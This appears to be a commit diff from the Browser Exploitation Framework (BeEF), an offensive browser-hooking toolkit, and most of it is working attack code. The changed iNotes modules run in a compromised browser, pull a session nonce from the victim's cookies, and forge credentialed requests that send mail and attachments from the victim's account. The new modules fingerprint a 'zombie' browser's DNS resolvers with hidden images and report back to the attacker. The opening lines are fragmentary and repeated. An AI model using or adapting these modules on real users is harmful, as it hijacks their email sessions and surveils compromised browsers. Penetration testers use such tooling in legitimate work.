var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
|
||||
//extract nonce from ShimmerS-cookie
|
||||
var cookies = document.cookie;
|
||||
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
|
||||
var arrc = rxc.exec(cookies);
|
||||
var nonce = arrc[1];
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
|
||||
xhr.open("POST", uri, true);
|
||||
xhr.withCredentials = true;
|
||||
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
|
||||
|
||||
xhr.send(post_data);
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
|
||||
} catch(e) {
|
||||
beef.debug("Error: " + e);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Send iNotes Error: '+e);
|
||||
}
|
||||
|
||||
xhr.send(post_data);
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
|
||||
});
|
||||
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
class Send_inotes < BeEF::Core::Command
|
||||
def self.options
|
||||
[
|
||||
{ 'type' => 'label', 'html' => 'Send a note to someone:' },
|
||||
{ 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone:' },
|
||||
{ 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO:', 'value' => '' },
|
||||
{ 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject:', 'value' => '' },
|
||||
{ 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' }
|
||||
|
||||
@@ -23,89 +23,95 @@ beef.execute(function() {
|
||||
//get URL for this nsf databse
|
||||
var currentURL = document.URL;
|
||||
var rx = /(.*\.nsf)/g;
|
||||
var arr = rx.exec(currentURL);
|
||||
var notesURL = arr[1];
|
||||
|
||||
//extract nonce from ShimmerS-cookie
|
||||
var cookies = document.cookie;
|
||||
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
|
||||
var arrc = rxc.exec(cookies);
|
||||
var nonce = arrc[1];
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
|
||||
xhr.open("POST", uri, true);
|
||||
xhr.withCredentials = true;
|
||||
|
||||
var boundary = "---------------------------32162600713994";
|
||||
|
||||
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
|
||||
|
||||
|
||||
var post_data = boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"%%Nonce\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += nonce + "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"h_EditAction\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "h_Next\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"h_SetReturnURL\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "[[./&Form=l_CallListener]]\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"h_SetCommand\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "h_ShimmerSendMail\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"h_SetSaveDoc\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "1\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"SendTo\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += to + "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"CopyTo\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"BlindCopyTo\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"Body\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += body + "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"MailOptions\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "1\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"Form\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "Memo\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"s_UsePlainText\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "0\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"s_UsePlainTextAndHTML\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "1\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"Subject\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += subject + "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"HaikuUploadAttachment0\"; filename=\"" + filename + "\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += filedata + "\r\n";
|
||||
post_data += boundary + "--";
|
||||
xhr.sendAsBinary(post_data);
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
|
||||
try {
|
||||
var arr = rx.exec(currentURL);
|
||||
var notesURL = arr[1];
|
||||
|
||||
//extract nonce from ShimmerS-cookie
|
||||
var cookies = document.cookie;
|
||||
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
|
||||
var arrc = rxc.exec(cookies);
|
||||
var nonce = arrc[1];
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
|
||||
xhr.open("POST", uri, true);
|
||||
xhr.withCredentials = true;
|
||||
|
||||
var boundary = "---------------------------32162600713994";
|
||||
|
||||
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
|
||||
|
||||
|
||||
var post_data = boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"%%Nonce\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += nonce + "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"h_EditAction\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "h_Next\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"h_SetReturnURL\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "[[./&Form=l_CallListener]]\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"h_SetCommand\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "h_ShimmerSendMail\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"h_SetSaveDoc\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "1\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"SendTo\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += to + "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"CopyTo\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"BlindCopyTo\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"Body\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += body + "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"MailOptions\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "1\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"Form\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "Memo\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"s_UsePlainText\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "0\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"s_UsePlainTextAndHTML\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "1\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"Subject\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += subject + "\r\n";
|
||||
post_data += boundary + "\r\n";
|
||||
post_data += "Content-Disposition: form-data; name=\"HaikuUploadAttachment0\"; filename=\"" + filename + "\"\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += filedata + "\r\n";
|
||||
post_data += boundary + "--";
|
||||
xhr.sendAsBinary(post_data);
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
|
||||
} catch(e) {
|
||||
beef.debug("Error: " + e);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error: ' + e);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
class Send_inotes_with_attachment < BeEF::Core::Command
|
||||
def self.options
|
||||
[
|
||||
{ 'type' => 'label', 'html' => 'Send a note to someone with an attachment:' },
|
||||
{ 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone with an attachment:' },
|
||||
{ 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO', 'value' => '' },
|
||||
{ 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject', 'value' => '' },
|
||||
{ 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' },
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
//
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
if (document.getElementById('ethereum_ens_img_<%= @command_id %>')) {
|
||||
return "Img already created";
|
||||
}
|
||||
|
||||
var img = new Image();
|
||||
img.setAttribute("style", "visibility:hidden");
|
||||
img.setAttribute("width", "0");
|
||||
img.setAttribute("height", "0");
|
||||
img.src = '<%= @ethereum_ens_resource %>';
|
||||
img.id = 'ethereum_ens_img_<%= @command_id %>';
|
||||
img.setAttribute("attr", "start");
|
||||
img.onerror = function() {
|
||||
this.setAttribute("attr", "error");
|
||||
};
|
||||
img.onload = function() {
|
||||
this.setAttribute("attr", "load");
|
||||
};
|
||||
|
||||
document.body.appendChild(img);
|
||||
|
||||
setTimeout(function() {
|
||||
var img = document.getElementById('ethereum_ens_img_<%= @command_id %>');
|
||||
if (img.getAttribute("attr") == "error") {
|
||||
beef.debug('[Detect Ethereum ENS] Browser is not resolving Ethereum ENS domains.');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving Ethereum ENS domains.');
|
||||
} else if (img.getAttribute("attr") == "load") {
|
||||
beef.debug('[Detect Ethereum ENS] Browser is resolving Ethereum ENS domains.');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving Ethereum ENS domains.');
|
||||
} else if (img.getAttribute("attr") == "start") {
|
||||
beef.debug('[Detect Ethereum ENS] Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
|
||||
};
|
||||
document.body.removeChild(img);
|
||||
}, <%= @timeout %>);
|
||||
|
||||
});
|
||||
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_ethereum_ens:
|
||||
enable: true
|
||||
category: "Network"
|
||||
name: "Detect Ethereum ENS"
|
||||
description: "This module will detect if the zombie is currently using Ethereum ENS resolvers. Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page."
|
||||
authors: ["wade", "pdp", "bm", "xntrik", "bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
@@ -0,0 +1,23 @@
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Detect_ethereum_ens < BeEF::Core::Command
|
||||
def self.options
|
||||
[
|
||||
{ 'name' => 'ethereum_ens_resource', 'ui_label' => 'What Ethereum ENS image resource to request', 'value' => 'http://ens.eth/static/favicon-6305d6ce89910df001b94e8a31eb08f5.ico' },
|
||||
# Alternatives:
|
||||
# http://esteroids.eth/favicon.ico
|
||||
# http://api3.eth/api3-logo-white.svg
|
||||
# http://api3.eth/favicon.ico
|
||||
{ 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '15000' }
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
return if @datastore['result'].nil?
|
||||
|
||||
save({ 'result' => @datastore['result'] })
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,43 @@
|
||||
//
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
if (document.getElementById('opennic_img_<%= @command_id %>')) {
|
||||
return "Img already created";
|
||||
}
|
||||
|
||||
var img = new Image();
|
||||
img.setAttribute("style", "visibility:hidden");
|
||||
img.setAttribute("width", "0");
|
||||
img.setAttribute("height", "0");
|
||||
img.src = '<%= @opennic_resource %>';
|
||||
img.id = 'opennic_img_<%= @command_id %>';
|
||||
img.setAttribute("attr", "start");
|
||||
img.onerror = function() {
|
||||
this.setAttribute("attr", "error");
|
||||
};
|
||||
img.onload = function() {
|
||||
this.setAttribute("attr", "load");
|
||||
};
|
||||
|
||||
document.body.appendChild(img);
|
||||
|
||||
setTimeout(function() {
|
||||
var img = document.getElementById('opennic_img_<%= @command_id %>');
|
||||
if (img.getAttribute("attr") == "error") {
|
||||
beef.debug('[Detect OpenNIC] Browser is not resolving OpenNIC domains.');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving OpenNIC domains.');
|
||||
} else if (img.getAttribute("attr") == "load") {
|
||||
beef.debug('[Detect OpenNIC] Browser is resolving OpenNIC domains.');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving OpenNIC domains.');
|
||||
} else if (img.getAttribute("attr") == "start") {
|
||||
beef.debug('[Detect OpenNIC] Timed out. Cannot determine if browser is resolving OpenNIC domains.');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving OpenNIC domains.');
|
||||
};
|
||||
document.body.removeChild(img);
|
||||
}, <%= @timeout %>);
|
||||
|
||||
});
|
||||
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_opennic:
|
||||
enable: true
|
||||
category: "Network"
|
||||
name: "Detect OpenNIC DNS"
|
||||
description: "This module will detect if the zombie is currently using OpenNIC DNS resolvers.</br><br/>Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page."
|
||||
authors: ["wade", "pdp", "bm", "xntrik", "bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
@@ -0,0 +1,19 @@
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Detect_opennic < BeEF::Core::Command
|
||||
def self.options
|
||||
[
|
||||
{ 'name' => 'opennic_resource', 'ui_label' => 'What OpenNIC image resource to request', 'value' => 'http://be.libre/lang/flag/us.png' },
|
||||
{ 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '10000' }
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
return if @datastore['result'].nil?
|
||||
|
||||
save({ 'result' => @datastore['result'] })
|
||||
end
|
||||
end
|
||||
@@ -243,7 +243,7 @@ RSpec.describe 'BeEF Configuration' do
|
||||
@config_instance.set('beef.http.public.https', false)
|
||||
@config_instance.set('beef.http.public.host', nil)
|
||||
@config_instance.set('beef.http.public.port', nil)
|
||||
@config_instance.set('beeg.http.hook_file', '/hook.js')
|
||||
@config_instance.set('beef.http.hook_file', '/hook.js')
|
||||
expect(@config_instance.get('beef.http.host')).to eq('localhost')
|
||||
expect(@config_instance.get('beef.http.port')).to eq(nil)
|
||||
expect(@config_instance.get('beef.http.https.enable')).to eq(true)
|
||||
|
||||
Reference in New Issue
Block a user